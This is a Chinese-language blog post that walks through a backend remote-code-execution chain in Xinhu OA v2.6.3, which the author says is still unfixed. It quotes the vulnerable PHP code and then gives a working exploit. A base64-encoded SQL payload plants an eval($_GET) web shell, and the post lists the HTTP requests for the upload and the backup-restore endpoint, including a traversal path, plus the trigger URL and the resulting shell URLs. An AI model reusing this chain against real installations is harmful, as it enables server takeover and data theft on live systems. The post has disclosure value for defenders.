信呼OA后台GETSHELL
测试版本:v2.6.3(最新版)
前两天某天收洞,说奖金挺高,想着挖一挖赚点外快,审核说无法复现不收,不收就不收吧。
那我就提交cnvd,cnvd嫌我不写分析步骤不收驳回,那就不交了吧。
我寻思直接联系厂商修复吧。嗯厂商也是爱答不理。
我寻思这系统是没人用还是咋地,那fofa还将近6000的站点。
这是个组合拳sql注入拿token进后台getshell,因为前台注入没修就不写出来了。只分享个后台getshell。
写文章这不能也给我驳回了吧。
漏洞触发点-
Path: webmain/main/flow/flowAction.php
method: inputAction
public function inputAction()
{
$setid = (int)$this->get('setid','0');
if($this->setinputid>0)$setid = $this->setinputid;
$atype = $this->get('atype');
$rs = m('flow_set')->getone("`id`='$setid'");
if(!$rs)exit('sorry!');
...........................
...........................
$apaths = ''.P.'/flow/input/mode_'.$modenum.'Action.php';
$apath = ''.ROOT_PATH.'/'.$apaths.'';
if(!file_exists($apath)){
$stra = '<?php
/**
* 此文件是流程模块【'.$modenum.'.'.$rs['name'].'】对应控制器接口文件。
*/
class mode_'.$modenum.'ClassAction extends inputAction{
/**
* 重写函数:保存前处理,主要用于判断是否可以保存
* $table String 对应表名
* $arr Array 表单参数
* $id Int 对应表上记录Id 0添加时,大于0修改时
* $addbo Boolean 是否添加时
* return array(\'msg\'=>\'错误提示内容\',\'rows\'=> array()) 可返回空字符串,或者数组 rows 是可同时保存到数据库上数组
*/
protected function savebefore($table, $arr, $id, $addbo){
}
/**
* 重写函数:保存后处理,主要保存其他表数据
* $table String 对应表名
* $arr Array 表单参数
* $id Int 对应表上记录Id
* $addbo Boolean 是否添加时
*/
protected function saveafter($table, $arr, $id, $addbo){
}
}
';
$this->rock->createtxt($apaths, $stra);
}
if(!file_exists($apath))echo '<div style="background:red;color:white;padding:10px">无法创建文件:'.$apaths.',会导致录入数据无法保存,请手动创建!代码内容如下:</div><div style="background:#caeccb"><?php<br>class mode_'.$modenum.'ClassAction extends inputAction<br>{<br>}</div>';
}
看代码从数据库中获取数据然后写出文件到/flow/input/mode_'.$modenum.'Action.php。
$rs['name']、$modenum和都是从数据库中获取的,然后写出没有过滤可以造成代码执行。
利用方式:
- insert data -> flow_set数据库
- 执行inputAction 方法
- 代码执行
先找insert的地方
Insert FlowSet
path: webmain/flow/input/inputAction.php
method: saveAjax
在这里进行过滤
$befa = $this->savebefore($table, $this->getsavenarr($uaarr, $oldrs), $id, $addbo);
.......
public function flowsetsavebefore($table, $cans)
{
$tab = $cans['table'];
$tabs= trim($cans['tables']);
$names= trim($cans['names']);
$name= $this->rock->xssrepstr($cans['name']);
$num = strtolower($cans['num']);
$cobj= c('check');
if(!$cobj->iszgen($tab))return '表名格式不对';
if($cobj->isnumber($num))return '编号不能为数字';
if(strlen($num)<4)return '编号至少要4位';
if($cobj->isincn($num))return '编号不能包含中文';
if(contain($num,'-'))return '编号不能有-';
if($cans['isflow']>0 && isempt($cans['sericnum'])) return '有流程必须有写编号规则,请参考其他模块填写';
$rows['num']= $this->rock->xssrepstr($num);
$rows['name']= $name;
if(!isempt($tabs)){
if($cobj->isincn($tabs))return '多行子表名不能包含中文';
$tabsa = explode(',', $tabs);
$namea = explode(',', $names);
foreach($tabsa as $k1=>$tabsas){
if(isempt($tabsas))return '多行子表名('.$tabs.')不规范';
if(isempt(arrvalue($namea, $k1)))return '第'.($k1+1).'个多行子表名称必须填写';
}
}
$rows['tables']= $tabs;
if($cans['where'])$rows['where'] = htmlspecialchars_decode($cans['where']);
return array(
'rows' => $rows
);
}
-----------
$name= $this->rock->xssrepstr($cans['name']);
$rows['num']= $this->rock->xssrepstr($num);
public function xssrepstr($str)
{
$xpd = explode(',','(,), , ,<,>,\\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;\'');
$xpd[]= "\n";
return str_ireplace($xpd, '', $str);
}
可以看到insert对数据检测非常严格,而我们想要代码执行*/、()是必须的。所以这条路是走不通的。
- 柳暗花明又一村
后面翻代码注意到可以执行sql语句。那我们组合一下,直接通过sql语句insert然后就可以绕过输入检测。
path: webmain/system/beifen/beifenAction.php
method: huifdatanewAjax
public function huifdatanewAjax()
{
if(getconfig('systype')=='demo')exit();
if($this->adminid!=1)return '只有ID=1的管理员才可以用';
$folder = $this->post('folder');
$sida = explode(',', $this->post('sid'));
$alltabls = $this->db->getalltable();
$shul = 0;
$tablss = '';
foreach($sida as $id){
$ids = substr($id,0,-5);
$ida = explode('_', $ids);
$len = count($ida);
$fieldshu = $ida[$len-2];
$total = $ida[$len-1];
$tab = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id); //表
$filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.'';
if(!file_exists($filepath))continue;
$data = m('beifen')->getbfdata('',$filepath);
if(!$data)continue;
$dataarr = $data[$tab];
//表不存在
if(!in_array($tab, $alltabls)){
$createsql = arrvalue($dataarr, 'createsql');
if($createsql){
$this->db->query($createsql, false);
}else{
continue;
}
}
该method 通过从文件中获取数据,然后执行sql语句
既然是在后台找个文件上传不很简单,但问题来了
$sida = explode(',', $this->post('sid'));
foreach($sida as $id){
$tab = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id); //表
$filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.'';
if(!file_exists($filepath))continue;
$data = m('beifen')->getbfdata('',$filepath); //json_decode文件内容
if(!$data)continue;
$dataarr = $data[$tab];
//表不存在
if(!in_array($tab, $alltabls)){
$createsql = arrvalue($dataarr, 'createsql');
if($createsql){
$this->db->query($createsql, false);
}else{
continue;
}
}
1、首先获取文件内容json_decode后储存到$data变量
2、获取$data[$tab]中的数据,$tab是我们上传的文件名
3、然后判断数据库中没有$tab这个table。
4、获取$data[$tab]['createsql']执行query。
其他都可控主要上传的图片文件名都是随机的。想要执行sql语句就必须控制文件名。
如:上传文件返回随机文件名asdasdasdsad.png,那么文件内容必须为
{"asdasdasdsad.png":{"createsql":"select 1"}}
我们无法提前预知生成的文件名,那这条路也嘎bi了。
- 柳暗花明又又一村
通过翻阅代码发现一处上传点,可控文件名。
path: webmain/task/openapi/openkqjAction.php
method: apiAction
public function apiAction()
{
................
$acta = explode('?', $patha[count($patha)-1]);
$act = $acta[0];
$data = array();
$num = $this->get('sn'); //设备号
if(!$num)return 'notdata';
$dbs = m('kqjsn');
$snid = (int)$dbs->getmou('id',"`num`='$num'");
if($snid==0)$snid = $dbs->insert(array(
'num' => $num,
'optdt' => $this->rock->now,
'status' => 1
));
$this->snid = $snid;
.......................
//推送来的
if($act=='post' && $this->postdata!=''){
$data= m('kqjcmd')->postdata($this->snid, $this->postdata);
}
当$act='post' ,postdata不为空
进入 m('kqjcmd')->postdata
public function postdata($snid, $dstr)
{
$this->rock->debugs($dstr,'postkqj_'.$snid.'_');
$barr = json_decode($dstr, true);
$carr = array();
$uids = $dids = '';
$snrs = $this->getsninfo($snid);
if($barr)foreach($barr as $k=>$rs){
$dtype = arrvalue($rs, 'data'); //数据类型
................
//推送来的头像
if($dtype=='headpic'){
$this->saveheadpic($snid, $rs['ccid'], $rs['headpic']);
}
当json_decode(postdata)['data'] == 'headpic'时
进入$this->saveheadpic
private function saveheadpic($snid, $uid, $headpic, $face='')
{
$where = "`snid`='$snid' and `uid`='$uid'";
if(isempt($face)){
if(isempt($headpic))return;
$face = ''.UPDIR.'/face/kqj'.$snid.'_u'.$uid.'.jpg'; //头像保存为图片
$this->rock->createtxt($face, base64_decode($headpic));
}
$arr['headpic'] = $face;
if($this->kquobj->rows($where)==0){
$where = '';
$arr['snid'] = $snid;
$arr['uid'] = $uid;
}
$this->kquobj->record($arr, $where);
}
在saveheadpic中,3个参数都是可控的,从而拿到可控文件名的上传点。
1、apiAction,$act=='post' && $this->postdata!='',进入m('kqjcmd')->postdata
2、postdata,json_decode(postdata)['data']== 'headpic',进入$this->saveheadpic
3、$this->saveheadpic写出文件到''.UPDIR.'/face/kqj'.$snid.'_u'.$uid.'.jpg'
那么开始漏洞利用
Exploit
1、首先insert一条flowset数据(ps:直接用sql insert太麻烦了直接正常构造一个正常数据,然后sql update)
记录id,163
2、构造执行sql语句的payload
id=前面记录的id
createsql为执行的sql语句
kqj1_u1.jpg为上传的可控文件名
3、Openkqj->postdata->headpic 上传可控文件名文件
headpic为前面构造的payload,base64编码
POST /index.php/post?d=task&m=openkqj|openapi&a=api&sn=1 HTTP/1.1
{"aasd":{
"data":"headpic",
"id":"1",
"headpic":"eyJrcWoxX3UxLmpwZyI6eyJjcmVhdGVzcWwiOiJ1cGRhdGUgeGluaHVfZmxvd19zZXQgc2V0IG5hbWU9XCIqXC9ldmFsKCRfR0VUWydwd2EnXSk7XC8qXCIgIHdoZXJlIGlkPTE2MzsifX0=",
"ccid":"1"}}
上传成功
4、执行sql语句
/index.php?a=huifdatanew&d=system&m=beifen&ajaxbool=true
post
folder=.*/./face&sid=kqj1_u1.jpg
5、触发漏洞
/index.php?a=input&m=flow&d=main&id=0&setid=163
setid为第一步返回的id
执行成功访问shell
shell地址:/webmain/flow/input/mode_test123Action.php?pwa=phpinfo();
Shell地址2:/?d=flow&m=mode_test123|input&pwa=phpinfo();
mode_test123Action.php = model_模块编号Action.php